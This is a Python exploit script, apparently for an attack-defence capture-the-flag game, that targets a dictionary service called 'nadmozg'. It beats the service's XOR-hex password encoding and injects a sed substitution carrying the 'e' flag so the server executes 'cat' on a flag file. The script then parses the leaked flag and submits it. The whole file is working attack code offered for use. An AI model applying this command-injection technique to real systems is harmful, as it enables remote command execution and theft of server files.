import pwn, re, random, string, sys, requests
from reqlib import *

def exploit(ip, port, flag_id):
    pwn.context(timeout=10)
    dict_id = "".join(random.choice(string.ascii_letters) for i in range(30))
    word = "".join(random.choice(string.ascii_letters) for i in range(30))
    payload = "{} 0a DELIM s/{}/cat {}/e".format("".join(random.choice(string.ascii_letters) for i in range(30)), word, flag_id)
    r = pwn.remote(ip, port)
    r.recvline()
    r.send("dict {}\n".format(dict_id))
    info = r.recvline()
    m = re.match("Please enter your alphanumeric password xored with byte 0x([0-9A-F]{2}) and hex encoded:\n", info)
    byte = int(m.group(1), 16)
    r.send(''.join(chr(ord(c) ^ byte) for c in payload).encode('hex') + '\n')
    r.recvline()
    r.send("translate {}\n".format(word))
    r.send('quit\n')
    r.recvline()
    flagline = r.recvline()
    flag = re.match("s/secretik/(.*)/gi;", flagline).group(1)
    return {"FLAG" : flag}


if __name__ == '__main__':
    flag_id = getflagid("nadmozg")
    FLAG = exploit("192.168.1.102", "20067", flag_id)
    print "FLAG=  " + FLAG["FLAG"]
    submit("nadmozg", FLAG["FLAG"])
